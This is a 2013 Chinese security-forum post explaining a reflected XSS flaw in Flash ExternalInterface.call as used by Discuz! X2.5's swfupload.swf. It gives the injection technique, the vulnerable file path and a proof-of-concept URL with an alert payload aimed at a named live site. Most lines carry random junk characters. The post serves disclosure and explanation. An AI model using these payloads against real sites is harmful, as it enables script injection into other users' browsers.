找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2263|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说9 o* B' i/ r  V9 l" G6 C4 k
. W* f1 P2 B$ l* t1 d
flash.external.ExternalInterface.call($methodName, $parameter)
& {9 ~6 r0 F# A+ z& V在浏览器中执行的是
( C9 ^: [0 R; W# f+ [# A
  a; G* g: `& e* [2 G) ^: Etry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}: @, x( Q1 I8 G
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
& I! X) J* c3 g& z3 z0 Y+ e' R2 ?, i/ k2 a8 C. d
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* Q) o! U1 M: r- {$methodName = a())}catch(e){alert(/xss/)}//) R8 ^. W0 t/ x3 A: L
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
. \$ B( @1 T. Q0 r* F. O8 m, D* [/ Y4 ]/ t4 F$ N
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
1 R, z4 j0 V8 \1 T3 _! c. ?' {" }% a; f" z4 o4 B, S9 ~2 o' T, y
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
9 |4 J4 w$ b4 @8 C6 ]/ ~2 x: p杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
9 i  W5 e. a- x3 C, ^# Y2 p  E
0 Z- u- B+ r  a* F3 c5 J0 q- J
0 k* b  O: k3 h! f9 ^0 M+ R" R+ d$ _( b. {# i' C/ `
漏洞文件:upload\static\image\common\swfupload.swf
1 x) k* m, L8 r0 p( y/ K0 @2 {7 W2 {
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
6 s* N. _- Q+ A( y; Q. Y  S9 t
2 o. H: Q/ B: J1 E: Z2 U8 s- O: X& v3 K7 N
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
- B- x4 Z- n5 {- i$ Y" l
. y0 D9 p! H. @  [. |
- ~/ C/ S  z% m7 R3 ?0 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表